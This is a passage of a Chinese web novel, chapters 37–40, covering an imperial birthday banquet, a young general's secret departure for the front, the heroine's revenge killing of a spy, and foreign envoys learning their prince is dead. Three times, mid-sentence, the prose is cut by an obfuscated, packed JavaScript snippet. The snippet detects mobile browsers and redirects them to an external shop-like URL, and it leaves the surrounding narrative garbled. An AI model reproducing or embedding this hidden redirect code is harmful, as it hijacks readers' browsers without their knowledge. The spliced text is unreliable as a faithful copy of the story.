宁渊听闻,脸上的笑意顿时消失不见,冷哼一声:“看来他们是真的着急了。不过别急,圣上的万寿节马上就要到了,等过完万寿节,肯定会将他们的少主还给他们。” 秦熠心领神会,这意味着要在万寿节之后动手了。 宁渊看向秦熠,语气温和地问道:“秦将军可知此事?” 秦熠点头应道:“我爹已经知道了,正在着手准备。” 他没有说得太明白,但宁渊清楚他所说的准备是什么意思。万寿节过后,他们父子俩便要秘密前往定州出征北穆。 宁渊凝视着眼前这个自己看着长大的孩子,“期待诸君得胜回朝。” 37.离开 承武十六年,万寿节,百官献礼,万朝来贺。 文攸礼带着手拿贺礼的巴其特走进举行庆典的定和殿,甫一进门,便瞧见了站在殿门一侧的鸿胪寺卿梁松年。 文攸礼对梁松年微微颔首,打了声招呼:“梁寺卿。” 梁松年笑呵呵地回应:“文丞相,数日未见,在会同馆住得可还习惯?” 不待文攸礼回答,他又好奇地问道:“不知您与翰林院的刘大人近日学问切磋,可有新得?” 文攸礼听到梁松年提起刘大人,额角不禁微微一抽。 这位刘大人,虽是承武九年的状元,但其为人极其迂腐。言谈间不离仁义礼智孝,张口便是之乎者也,总是一副“汝等皆出自蛮荒之所,本官不屑与尔等计较”的表情。 每日都气得巴其特要动手打人。 可这种话,文攸礼自然不能跟梁松年直说。他只得客套地回应:“刘大人不愧是状元郎,学识果然渊博,文某短短几日受益匪浅。” 梁松年笑意更深,心里却明白得很,那状元郎的学识固然出众,可就是过于清高不知变通,不然也不会这么多年了仍旧是个翰林院的小官。 他见好就收,不再纠缠这个话题,转而笑着招呼小太监带文攸礼一行人入座:“吉时将至,还请文丞相入座。” 待文攸礼走远,梁松年心情颇为愉快地转身,迎向陆续走进定和殿的其他使臣。 * 既然是万寿节,宁玉瑶自然也要出席。 如除夕宴一般,她乖乖地坐在母亲身边,兄嫂则坐在父亲另一侧。 此刻的殿中空地对面不再是秦将军一家,而是来自各国的使臣。秦将军的座位就在她的身后,而秦熠正悄悄地拿东西戳她的后背。 宁玉瑶被扰得烦不胜烦,转过头瞪了他一眼,轻声说:“别胡闹。” 秦熠见宁玉瑶回头,对她咧嘴一笑,倒也消停下来。 两家长辈都当作没看见两个孩子的小动作。 不多时,百官和使臣们皆已入座。吉时一到,承武帝携皇后一同走进定和殿,寿宴正式开始。 宁玉瑶好奇地张望着,看着周边小国陆续献上的贺礼,没多久便失了兴致。她悄悄对祁婧惠说:“娘,他们送的东西怎么这般……” 宁玉瑶一言难尽地看着火临国送来的鹅卵石,溧水国进贡的巨型鱼骨。 最为奇葩的是一个第一次来的叫堰圬的岛国献上的咸鱼干,未打开礼盒时,便有丝丝缕缕的臭气若有若无地飘散出来。 当他们将礼盒打开,整个大殿都弥漫着一股浓烈得几乎化不开的腐臭味,那味道像是无数腐败的鱼虾在烈日下暴晒多日后混合而成,朝臣们顿时捂住口鼻,议论纷纷。 鼻子向来敏锐的宁玉瑶差点被这股味道给直接熏晕过去。 祁婧惠也皱着眉,安抚地拍了拍宁玉瑶的手。 承武帝赶紧谢过他们的好意,让人将咸鱼干拿下去。宫侍们连忙打开大殿的门窗,又燃起熏香,但殿中这股霸道的腐臭味一时半会儿难以消散。 就在这时,宁玉瑶感觉秦熠又在戳自己后背。她正难受得紧,没好气地转过头,没想到一个香囊递到了她面前,秦熠轻声说:“我准备的薄荷丸,快拿着。” 宁玉瑶赶紧接过香囊放在自己鼻尖下,一股清新凉爽的薄荷香瞬间冲散了那难闻的腐臭味。 打开香囊,里面有七八颗香丸,宁玉瑶连忙倒出来给父母兄嫂一人分了一颗。再回头看,只见秦将军家四人皆手拿香囊捂住口鼻。她对秦熠轻轻笑了笑,秦熠也满脸笑意地看着她。 宁玉瑶往后挪了挪,悄悄问秦熠:“熠哥哥你今日怎么会准备薄荷丸。” 秦熠也小声回答:“以前跟堰圬国的人打过交道,他们国家的最珍贵的就是咸鱼,而且越臭的越贵重。” “哦……”宁玉瑶还欲再说些什么,就听到母亲轻轻的咳嗽声,连忙转过身子,坐好继续看使臣献礼。 此时正是南昭国献礼,因之前归霞草之事,宁玉瑶对这个国家难免有所关注。 只见南昭国的使者们引着一对南昭特有的绿孔雀进入定和殿。刚一上场,雄孔雀就展开了它那华丽的尾羽,在璀璨的灯光下闪耀着光泽,引得众人一片赞叹。 宁玉瑶特意看了一眼南昭的使臣,他们面对众人的称赞依旧神色从容,不卑不亢,瞧着似乎没什么特殊之处。 接下来便是苍狄国献礼。苍狄这次献来的寿礼十分有诚意,是一对有苍狄国宝之称的象牙雕刻。 这对象牙雕刻乃是用上等的象牙精心雕琢而成,象牙质地细腻温润,色泽如脂,雕刻的图案栩栩如生,或是山川秀丽,或是祥瑞神兽,每一处细节都展现出了非凡的工艺。 众人啧啧称奇,承武帝亦龙心大悦,赞道:“苍狄王有心了。” 睿王依旧是那副儒雅的模样,他右手轻抚左胸,微微弯腰,恭敬道:“陛下垂爱,苍狄不胜荣幸。” 文攸礼身后的巴其特不屑地看着卑躬屈膝的睿王,撇了撇嘴,显然很看不上他们这些弱小的国家。 文攸礼轻咳一声,巴其特赶紧低头收起脸上的表情。 苍狄后面就是北穆使臣献上贺礼,文攸礼他们带来的贺礼中规中矩,就是一些很寻常的皮毛。承武帝表情淡淡地对文攸礼表示感谢,没有多说什么。 文攸礼也不在意,他们此次来大宸本就不是为了给大宸皇帝祝寿。 使臣献礼之后,便是皇子们和公主贺寿。皇子们送的贺礼多为自己亲手制作寓意好的物品以表孝心。 承武帝笑意满面地看着自己的孩子们给自己送上满含孝心的礼物,就连五皇子那副看不出内容的寿图都得了他父皇好一顿夸。 百官献礼之后,寿宴便圆满结束。 宁玉瑶回到府中时已困倦至极,沐浴时竟直接在浴桶中沉沉睡去。侍女们小心翼翼地将她从浴桶中抱出,安置到床上,她也浑然不知。 午夜时分,青筱匆匆走进宁玉瑶的闺房,值夜的青黛从脚踏上坐起身,压低声音问:“怎么了?” 青筱同样轻声回道:“秦都司有急事找郡主,可要唤醒郡主?” 青黛望向沉睡中的郡主,面露犹豫。但还是决定叫醒郡主,以免耽搁了主子的要紧事。 她站起身,轻轻唤着:“郡主,郡主,您醒醒。” 宁玉瑶费劲地睁开眼睛,咕哝道:“什么时辰了?” “回郡主,现在是子时,秦都司在侧门等您,说是有要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983533|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事找您。” 一听是秦熠找她,宁玉瑶瞬间清醒。她知道秦熠这几天就要离开,看样子就是今日了。 她立即爬起身,穿好衣服和鞋子,头发都来不及梳理,就这么披散着向侧门跑去。 “郡主,小心脚下。”青黛和青筱焦急地跟在她身后提醒。 宁玉瑶到达侧门时,就看见秦熠手中拿着一个木匣子站在围墙下,长公主府的侍卫们在不远处守候。 火把在秦熠的头顶侧上方,跳动的火光将周围照得明明暗暗。他低着头,脸隐藏在黑暗中,宁玉瑶一时间竟看不见他的表情。 或许是听到了脚步声,秦熠抬起头向宁玉瑶看来。宁玉瑶看着他脸上瞬间扬起的笑容,不知为何,鼻头有些发酸。 “熠哥哥……”宁玉瑶轻轻喊了一声。 秦熠看着宁玉瑶因为奔跑而略显凌乱的发丝,心中满是不舍。但他身负重任,有自己必须去完成的事。 依旧是那副笑嘻嘻的模样,秦熠将手中的木盒递给宁玉瑶,“明安,今年你生辰我估计是赶不回来了,生辰礼便提前送你。” 宁玉瑶伸手接过木盒,手指轻轻摩挲着盒面。 她想要说些什么,但喉咙仿佛被什么东西哽住。 两人静静地站在原地沉默了许久,夜风吹过,衣角轻轻飘动。 片刻后,宁玉瑶突然想起一事,连忙从衣袖中掏出一个护身符递给秦熠,“熠哥哥,这是我亲自去护国寺求的护身符,你一定要好好带着。” 秦熠接过护身符贴身放好,笑着说:“明安你放心,我……” 话未说完,围墙那边传来轻轻的敲击声。秦熠收住声,最后看了一眼宁玉瑶,“明安,我走了。” 不等宁玉瑶回答,秦熠头也不回地翻墙离开了长公主府。 宁玉瑶看着他离开的背影,不觉间,一滴泪珠从脸颊滑落。 宁玉瑶深吸一口气,努力压下心中的难过,转身对上青黛、青筱担忧的眼神,她擦掉脸上的泪痕,“回去吧。” 回到房中,宁玉瑶坐在梳妆台前,此时她已睡意全无。 她打开秦熠送来的木盒,里面装着一支金簪。金簪的簪身由极细的金丝精巧地缠绕而成,每一根金丝都细腻流畅。金簪的顶端,小巧玲珑的金凤凰环绕着一颗纯净透亮的鸽血红宝石。即便是在幽暗的烛光下,依旧不损它的华贵。 在大宸,若男子有心怡的女子,就会送心上人一支簪子,不拘是什么材质。而女子若亦对男子有意,则会将簪子插在发间,以此作为回应,意味着双方情意相通,可请媒人上门提亲。 宁玉瑶将金簪从木盒中取出,轻轻抚摸着上面的红宝石。片刻后,她将金簪收起来,对青黛吩咐道:“将它和那朵石榴花放在一起,好好收着。” “是,郡主。”青黛小心地拿起木盒走向库房。 石榴花是端午那次去谢家时,秦熠摘给她的。那些石榴花没过几日便渐渐枯萎,唯独宁玉瑶发髻上那朵石榴花,在它开得最盛的时候被宁玉瑶寻内务府的工匠用药水炮制,完整地保留了下来,放在库房中好好收着。 宁玉瑶看着桌上明明灭灭的烛灯,眼中倒映着闪烁的火光。 熠哥哥一定会平安无事的。 38.报仇 林鸿轩拖着伤痕累累的身体走出地牢。 初夏清晨的阳光骤然照射过来,让他几乎无法睁眼。 他双手紧紧捂着眼睛,木然地在地牢门口站立了许久。身旁的狱卒没有出声催促,似乎对此类场景习以为常。 片刻后,林鸿轩拭去因光照刺激而涌出的泪水,努力缓缓地睁开双眼。尽管眼前仍是一片片黑斑,他还是如释重负般长舒了一口气。 终于出来了。 他已记不清自己到底在地牢中熬过了多少时日。狱卒只是告诉他,苦主撤销了状子。可对于诚国公是否相信他并非北穆人,他一无所知。 不过,出来了总归是好的,走一步算一步吧。 无人知晓他今日出狱,自然也没有人前来迎接。 林鸿轩只得强撑着身体朝着家的方向走去。 长时间的囚禁与缺乏照料,加上地牢中的污秽与未愈的伤口,让他身上散发出阵阵难闻的气味,引得路人纷纷掩鼻避让。 林鸿轩苦笑,想他曾经也是风光无限,何曾受过这般屈辱。 就在这时,一辆马车忽地停在了他的面前。 他家的洒扫仆人匆忙从马车上跳了下来,“郎君,您总算出来了,快,小的扶您上车。” 林鸿轩满脸诧异地看着仆人,问道:“你怎么知道我今日出狱?” 仆人小心翼翼地将林鸿轩扶上马车,自己坐回车夫的位置,一边驾车一边回道:“方才有人过来给小的送信,说您已经被大理寺释放,让我赶紧来接您。” 林鸿轩心中疑虑更重,他转头望向马车外,只见街上人来人往,其中不乏穿着异域服饰的外邦人。 他心中一动,问道:“街上为何如此热闹?近期有何大事发生?” “昨日是陛下的万寿节,这些日子各国使臣都来雁京了,热闹着呢。” 原来如此。林鸿轩沉默不语,低头看着自己伤痕累累的手,暗自揣测,就是不知这次究竟是北穆出手救了他,还是父亲那边使了力。 另一边,“爹,为什么要放了他?” 宁玉瑶这些日子在家中一直闷闷不乐,宁渊便带她出来散散心,正好在酒楼厢房中看见林鸿轩被仆人接走。 宁渊挥了挥手,示意侍卫们去门口守着。 他轻声向女儿解释:“林鸿轩的身份特殊,不宜公开处置。他毕竟仍是朝中六品官员,若因小事不明不白地死于狱中,势必引起其他官员的猜疑与不安。况且,北穆使臣仍在雁京。我们先放他出去,制造假象,为秦将军争取时间,待夜深人静时再行处置。” 宁玉瑶有些担忧地说:“那万一北穆使臣连夜将他带走了怎么办。” 宁渊笑着轻弹女儿的额头,“这么看轻你爹,放心吧,爹早就安排好了,保证他插翅难飞。” 宁渊眼中闪过一丝暗色,若是他敢逃,那正好在路上将他们一并解决了。 宁玉瑶这才开心起来,揉了揉额头,吹捧道:“爹爹最厉害了,女儿才没有看轻爹爹,女儿只是瞎操心。” “你呀,”宁渊点了点宁玉瑶,片刻后,轻声问道,“瑶儿,今晚你可要去看处置林鸿轩?” 祁婧惠本不愿女儿经历那些血腥之事,但宁渊念及女儿那个被林鸿轩一箭穿心的噩梦,便说服妻子让瑶儿自行决定。 宁玉瑶听到父亲的问话,低下头,手指无意识地纠缠着,沉默良久。 宁渊并未催促,只是耐心地等着女儿的回答。 过了许久,宁玉瑶抬起头,声音虽轻但异常坚决地说:“女儿想去,女儿还想要亲自报那一箭之仇。” 宁渊诧异地看着女儿,他原本只打算让女儿旁观,未曾想她会主动提出报仇。不过这也不是什么大事,他沉吟片刻,便点头同意了,只是心中难免有些忧虑:“瑶儿,你从未经历过这些,若是被吓到如何是好?” 宁玉瑶拉着父亲的衣袖撒娇道:“爹爹放心,女儿没那么娇气。” 区区一个林鸿轩,有何可惧,有什么能比得上林鸿轩在雁京城中造下的人间炼狱? 宁渊见女儿坚持,便不再劝,只是有些头疼回去该怎么跟妻子交代。 “我不同意!”正在房中对着铜镜描眉的祁婧惠,听完丈夫说的话,直接拍着桌子反对,“你说让瑶儿跟着去看看也就罢了,怎么到现在又成了让她亲自动手?” 宁渊轻抚着妻子的后背,让她坐下,温言解释道:“瑶儿说她对林鸿轩有恨,要亲自报仇。我见她如此坚决,自然只能依她。你放心,瑶儿比我们想象的要坚强。” “可是……”祁婧惠还是担心,女儿从小就在深闺中娇养着长大,何曾见过这场面。 宁渊握着她的手,安抚道:“就随了瑶儿的愿吧,你忘了她上次从围猎场回来后那段日子是如何寝食难安的吗?让她亲自报仇,也算是了结了她心中的一个遗憾。” 祁婧惠虽然心中仍有顾虑,但也知道丈夫说的在理。她无奈地叹了一口气,妥协道:“罢了罢了,拗不过你们父女俩。你定要小心看护瑶儿,别让那林鸿轩伤了她。” 宁渊含笑应下:“放心吧,有我在,绝不会让任何人伤害到瑶儿。” * “丞相,属下有事禀报。”一名北穆的随从神色匆匆地走进文攸礼的房间,向文攸礼请示。 此时,文攸礼停下与刘状元的交谈,说是交谈,其实一直都是刘状元在单方面地对文攸礼讲述一些晦涩难懂的学问。 文攸礼听到随从的声音,悄悄松了口气,满脸歉意地对面前的中年男子说:“感谢刘状元今日拨冗前来讲学,事不凑巧,老夫这边突有要事需处理,实在抱歉,改日再邀您前来继续探讨学问。” 刘状元一脸骄矜地收起书本,下巴微微扬起,“嗯,今日便到此吧,刘某告辞了。” 他这幅趾高气昂的模样,仿佛来此讲学是给了北穆人天大的恩赐,站在一旁的巴其特拳头紧握,恨不得一拳锤过去揍死他,看他还敢不敢用这幅表情看自己。 文攸礼瞥了一眼巴其特,巴其特只得强压下心中的怒火,看着刘状元大摇大摆地走出北穆的院子。 文攸礼收回视线,转头问那名随从:“王储回去了?” “是,属下亲眼看着仆人将王储送回宅院。” “好,即刻安排,我们悄悄去跟王储见上一面,”文攸礼站起身吩咐道,却看见随从面露难色,站在原地不动,“发生何事?” “禀丞相,王储受伤颇为严重,方才请了医馆的大夫,服药后昏睡不醒,大夫说王储现在需要静养。” “砰——”巴其特愤怒地对着墙壁打了一拳,在墙上砸出了一个深深的洞,他双目赤红,恨声道:“大宸真是欺人太甚!居然如此对待我们北穆王储!” 文攸礼没理会怒气冲冲的巴其特,他缓缓坐回椅子上,眉头紧锁,沉思片刻后对随从说:“你密切关注王储那边的情况,待王储醒了,立即告诉我。” “是!” 随从走后,文攸礼咬牙,“好了,收收你的火气,我们先想办法把王储带回去,这个仇以后有的是时间报!” * 林鸿轩这一觉睡得极不安稳,他在梦中拼命挣扎,仿佛依旧被困在那个暗无天日的地牢中。 直到一盆冷水猛然浇下,他骤然惊醒,本能地想要起身探查,却发现自己被牢牢绑在冰冷的刑架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003031|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,动弹不得。 房间内燃烧的火把跳跃着,照亮了两侧架子上摆放得密密麻麻的刑具。那些形状各异、闪着寒光的刑具,无一不在提醒着林鸿轩,这就是那个令他毛骨悚然却又无比熟悉的刑房。 林鸿轩感到一阵恍惚,头脑混沌不堪,竟一时分不清眼前是梦是真,还是白日里的一切只是他的一场幻梦。 还未等他想明白,刑房那厚重的门“吱呀”一声打开了。 林鸿轩艰难地侧头望向门口,待看清来者,他强忍内心的恐惧,故作镇定地询问:“诚国公,敢问这是什么意思?” 宁渊并不理会他,而是小心翼翼地扶着一个身披黑色斗篷的人走进来。 林鸿轩看着那个人摘下头上的兜帽,当看清那人面容时,他心中的疑惑更深,“明安郡主?” 宁玉瑶抬头看了林鸿轩一眼,显然对他现在这副狼狈不堪的模样很是满意,她轻轻一笑,笑容中却不带丝毫温度:“努尔勒,别来无恙。” 林鸿轩定定地看着宁玉瑶,试图从她的表情中看出端倪,“郡主,下官愚钝,不知这努尔勒是何人?” 宁玉瑶坐到父亲身边的椅子上,不甚在意地说:“不管你承不承认,都毫无意义。本郡主今日来,就是为了取你狗命。” 林鸿轩闻言大惊,怒斥道:“明安郡主,你怎敢如此草率行事,欲害朝廷命官?下官究竟何错之有?下官求见皇上,请陛下为下官做主!” 宁玉瑶不耐烦听他的狡辩,站起身将自己的软鞭浸入旁边的盐水中,随机狠狠向林鸿轩挥去。 林鸿轩结结实实挨了这一鞭子,疼得倒吸冷气。他忍痛抬头还欲说什么,却看见宁玉瑶拉开手中的长弓,箭头直直地指向他。 林鸿轩惊恐万分,“郡主……” 宁玉瑶一句话都不再多说,松开拉着弦的手,箭矢破空飞去,正好刺进林鸿轩的胸膛。 林鸿轩此时还有一丝气息,他气若游丝,眼神中满是不甘,轻声问:“为什么……”他自认伪装得无懈可击,却不知究竟何处露出了破绽。 但他注定等不到答案,一支又一支的箭矢接连而来,直到他垂下头颅彻底断了呼吸。 “瑶儿,”宁渊轻轻握住宁玉瑶还欲取箭的手,将她手中的弓箭拿下放到一旁,轻轻抱着满脸泪水的女儿,哄道,“乖瑶儿,没事了,他已经死了,以后不会有人再伤害你了。” 宁玉瑶在父亲怀里抽泣了好一会儿,才渐渐止住哭声。 林鸿轩死了,她的爹爹娘亲也不会被林鸿轩所害,宁玉瑶仿佛放下了心中那块沉重的大石。她擦干眼泪,对父亲说:“爹,女儿没事了,只是……” 她转头看了一眼林鸿轩那满是箭矢的尸身,有些惭愧地说:“爹爹,他成了这样,会不会影响您和舅舅接下来的计划?” 宁渊轻抚女儿的头发,笑着安慰道:“瑶儿放心,这点小事,难不倒爹爹。” 地牢外,一只白鸽扑棱着翅膀划破夜空,跋涉十余日后终于抵达目的地。 一只苍劲有力的手捏住白鸽,从鸽子腿上取下一个小巧的竹筒。随后,男人不敢有片刻耽搁,匆匆朝着一座宏伟庄严的大殿走去。 踏入殿中,男人恭敬地低头,“国师,林鸿轩已死。” “知道了。”一道略显苍老的声音从大殿深处传来。 大殿内,屏风后人影微动,烛光在屏风上投下斑驳的光影。男人不敢再多看一眼,悄声退下。 跪坐在屏风后的老者,从面前的棋盘上取下一枚棋子,将其扔进旁边的香炉中。木质棋子接触到香炉中的火星,瞬间被点燃,火焰在棋子上跳跃,最终化为缕缕青烟,袅袅升起。 39.事发 眼看时间一天天过去,却始终未能见到王储的身影,文攸礼心中不由得焦急起来。 “王储还在宅院中静养?”文攸礼叫来一直守在林鸿轩家门口的随从询问道。 随从的脸上同样满是疑惑,他道:“大夫说王储一直在昏睡当中。” 文攸礼纵然着急却也毫无办法,只得吩咐道:“你速去安排,让医馆的大夫给王储用上最好的药,务必要让王储早日康复。我们已经耽误了太多时日,是时候启程了。” 毕竟,这么多天过去了,其他国家的使臣早已陆续离开雁京,唯有他们还一直滞留在此。若再拖延下去,难免会惹人怀疑。 “丞相,鸿胪寺梁寺卿到访。”门口的随从前来通报。 “有请梁寺卿。” 梁松年刚一走进茶厅,便笑眯眯地问道:“文丞相,几日不见,不知您在大宸住得可还舒心?” 文攸礼心里清楚,他这是在拐弯抹角地询问他们为何还不回北穆。然而,文攸礼并不接他的话茬,反而提起了一件看似无关紧要的事情:“说起来,这些时日似乎都未曾看见秦将军的身影。” 梁松年轻叹一声,“秦老夫人病重,秦将军一片孝心,陛下恩准秦将军这段时间都在家中服侍母亲。” 文攸礼身后的巴其特听闻,忍不住皱眉道:“什么破规矩,一个妇人还要儿子亲自照顾?” 梁松年笑意不减,语气却多了几分深意,“我们大宸乃礼仪之邦,自小就学习礼孝仁智,孝敬父母乃是天经地义之事。” 巴其特听出了他话语中的讽刺之意,顿时怒火中烧,正要发作,文攸礼抬手示意他噤声,巴其特只得憋屈地闭上了嘴。 文攸礼仿若没有听出梁松年话中的言外之意,依旧和气地问道:“既然秦老夫人病重,我们和秦将军也算有些老交情,不知上门探病是否方便?” 梁松年听到这话,一时竟被噎住,满脸一言难尽地说:“恐怕不太方便。” 心里却想,秦老夫人的丈夫和幼子都命丧你们北穆人手中,你们去探望她,别给老人家气出个好歹来。 至于秦老将军和秦泽将军在战场上杀了更多北穆人,梁松年只觉得那是北穆人罪有应得。 梁松年见他们东拉西扯,就是绝口不提到底何时返程,只得挑明了问道:“文丞相在北穆应该事务繁忙,北穆王就没催促您回去?” “不碍事,出来之前,王就告知我可以在大宸多停留一阵,好好领略大宸的风光。” 文攸礼这番话中饱含恶意,让梁松年听得直皱眉。但他也只是笑着说道:“是该好好看看,毕竟您回去之后,就难以再见我们大宸如此繁荣昌盛的景象了。” 既然今日无法从文攸礼口中问出个确切的名堂,梁松年也不再多做停留,与文攸礼假意客套了几句,便告辞离开了。 * 漆黑的地道中,仅有一点微弱的烛光。 宁玉瑶手持烛台,慢慢地往前走着。 这条地道,正是前世林鸿轩登基后将她囚禁的院子里的那条密道。再次踏入此地,宁玉瑶的心境与往昔已是天差地别。 她心情愉悦地看着地道中的景象,潮湿的墙壁上不时滴落着水珠,地上则是肆意爬行的虫子。偶有虫子爬到了她的绣鞋上,她也只是轻轻将其踢开。 走到地道尽头,宁玉瑶旋转机关,打开地道门。她从地道口爬了出来,坐在树林间的土地上,享受着初夏的阳光,暖暖地洒在身上。 林鸿轩已死,前世种种也如过眼云烟般消散无踪。 宁玉瑶在地道口惬意地享受了一会儿阳光的照拂,便又转身进入地道,准备返回庄子。再不回去,小鱼儿和那些丫鬟们该着急了。 这些日子以来,宁玉瑶的情绪一直低落,祁婧惠担忧她闷出病来,便叫沈瑜陪她来城外的庄子里散心。 她便借此机会,旧地重游了一番。 宁玉瑶走出房门,一直悠闲地坐在葡萄架下吃着新鲜瓜果的沈瑜,瞧见她这副满身尘土的狼狈模样,立即站起身,和侍女们一同围了过来。 “玉瑶,你这是掉坑里了么?可有伤着哪了?” 宁玉瑶笑着说:“我没事,就是蹭了点尘土,你们去烧些水,我要沐浴。” 青黛听了,连忙跑去浴房准备。 沈瑜摘掉宁玉瑶发髻上的蜘蛛网,用手绢轻轻擦去她脸上的尘土,“好好的怎么弄成这样了?” “刚才东西掉到床下,我去捡,不小心蹭到的。” 沈瑜斜睨了她一眼,“什么了不得的东西,还要我们的郡主亲自去捡,外边这么多丫鬟不知道使唤。”她心里明白宁玉瑶没说实话,但也不再追问。 看见青黛过来,沈瑜赶紧催促道:“水烧好了,快去洗洗吧。” 宁玉瑶笑眯眯地搂着沈瑜蹭了蹭,把沈瑜也蹭了一身灰,惹得沈瑜又气又无奈,但拿宁玉瑶没办法,只好两人一起去浴房更衣沐浴。 沐浴完毕,两人换上干净衣裳,准备返回雁京城。 当马车行至雁京城南门时,外面传来一片哭声。 宁玉瑶和沈瑜坐在马车中,听着窗外的哭嚎声,宁玉瑶忍不住皱眉,“发生什么事了?” 青黛应声去打听,不一会儿回来禀报:“郡主,是前神武营统领吴肃吴大人的家眷,他们今日要被流放岭南。吴大人刚挨了一百大板,瞧那伤势,怕是到不了岭南了。” 宁玉瑶听到这消息,这才想起,吴肃的案子已经判了。 经过三司近半年的严密审查,吴肃不仅因一时失察放北穆人上了清云山,还有神武营管理不善,他克扣军饷、吃空饷等诸多问题,这一查便是数罪并罚,一家老小也跟着吃了挂落。 想到清云山,宁玉瑶的好心情瞬间消失得无影无踪,沈瑜没有说话,只是担忧地看着她。 宁玉瑶将头靠在沈瑜的肩膀上,思绪飘向了连夜赶往定州的秦熠。 不知道熠哥哥现在到了哪里。 此时的秦熠正身处距雁京城千里之遥的利州。他与父亲秦柏率领着一队亲兵,一路快马加鞭,除了必要的吃饭睡觉,几乎未曾下马停歇。 就这快马加鞭地赶了八天的路程,再有三日,他们便能抵达大宸与北穆最近的一座城池,定州城。 越是靠近定州的方向,越是荒凉。这里不仅人烟稀少,就连树木都极为罕见。 骑马走在队伍最前面的秦柏举起手,示意众人停下,“天气越来越热了,先休息一会儿,不然马吃不消。” 秦熠沉默着点点头,爬下马背,牵着马缓缓走到一棵树叶稀疏的歪脖子树下,靠着树干坐下闭眼休息。 他舔了舔干裂起皮的嘴唇,水囊里的水已所剩无几,而下一个取水的地方还有半天的路程,他得节省着用。 他刚坐下没多久,一个皮质物品轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016210|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰在了他的脸上。他睁开眼,原来是他爹拿着水囊在拍他的脸,“臭小子,渴了吧?你爹这儿还有水,怎么不找老子要?” 秦熠伸手推开面前的水囊,“我不渴,您自己留着喝吧。” 秦柏懒得跟他废话,直接捏起儿子的下巴,将水强行灌了进去。 秦熠猝不及防被水呛到,忍不住咳嗽了好几声。但他也知道不能浪费,只能硬生生把水咽了下去。 等灌得差不多了,秦柏这才松开手,自己也仰头喝了一口,看着儿子咳得满脸通红的模样,轻哼,“让你自己喝不喝,非要老子灌。” 秦熠没好气地白了他爹一眼,难得想给自己老子尽尽孝,省着点水给他爹喝,结果差点被亲爹给弄死。 抬头望着天上毒辣的太阳,秦柏喃喃自语:“也不知道雁京那边如今是个什么情况了。” 秦熠隔着衣服摸了摸护身符,冷笑一声,“林鸿轩必死无疑,就看文攸礼他们什么时候能得到消息了。” * “丞相!丞相,不好了!”一名北穆随从神色惊慌地匆匆跑进会同馆。 “什么事这么慌慌张张的?”文攸礼不悦地看向随从。 随从满头大汗,焦急地说:“刚才城外传来消息,王储他在城外遇害,尸首都被野兽啃食大半了!” “什么!”文攸礼闻言惊得直接站了起来,“你确定那是王储?王储怎么会在城外?不是安排了人一直守在王储门外么?他们难道不知道王储离开了宅邸?” 随从面色沉重,重重地点头:“奴才确定那是王储,王储的面部没有受损,绝对不可能认错!” 文攸礼跌坐回椅子上,失神地轻声念着:“面部未受损……身体被啃食大半……” 半晌,文攸礼冷笑出声:“好,好一个大宸,我们都被耍得团团转!” 同样刚得到消息,匆匆赶来的巴其特怒道:“丞相,怎么回事?谁敢耍弄我们?” “大宸恐怕早就知道王储的真正身份了,这么久以来一直故意误导我们,让我们放松警惕,”文攸礼突然想起许久未露面的秦柏父子,冷笑连连,“恐怕秦家老太太也没有生病,秦家父子说不定已经去往定州了。” 巴其特听到文攸礼所说的话,气得面红耳赤,转身就要往外面冲。 文攸礼连忙大声喝住他:“站住!你要去哪?” 巴其特回头,喘着粗气,怒道:“我要去宰了大宸皇帝!居然如此戏耍我们,还害了我们的王储!” “你怎么宰?你进得去皇城吗?你这般冲动鲁莽的模样,别说见到皇帝,还没靠近皇城估计就会被乱箭射死!”文攸礼怒声呵斥。 巴其特怒吼:“那怎么办!难道我们就这么忍气吞声认了么?我咽不下这口气!” “咽不下也得咽!”文攸礼闭上眼睛,深吸一口气,缓缓说道,“别和大宸起冲突,我们即刻启程,等回了北穆,让王立即出兵!” 巴其特狠狠地咬了下后槽牙,即便心中再恨,也明白丞相的安排才是当下最妥当的。 他用力踹了一脚门框,强忍着怒火回去收拾行李。 文攸礼呆坐在椅子上,脑海中不断回想着这些日子在大宸的点点滴滴,心里怄得难受,差点吐出一口血来。 他紧紧攥着拳头,手指关节泛白,连指甲戳破了自己的掌心都没有察觉。 这个仇,北穆一定会报! 40.阿姐 北穆使臣没有跟任何人打招呼,就离开了雁京。 朝中大臣除了念叨几句“北蛮子不懂礼数”外,便无人再关注他们。在大臣们眼中,狼子野心的北穆人这点小事,还不如林鸿轩突然入狱又离奇死亡来得引人注目。 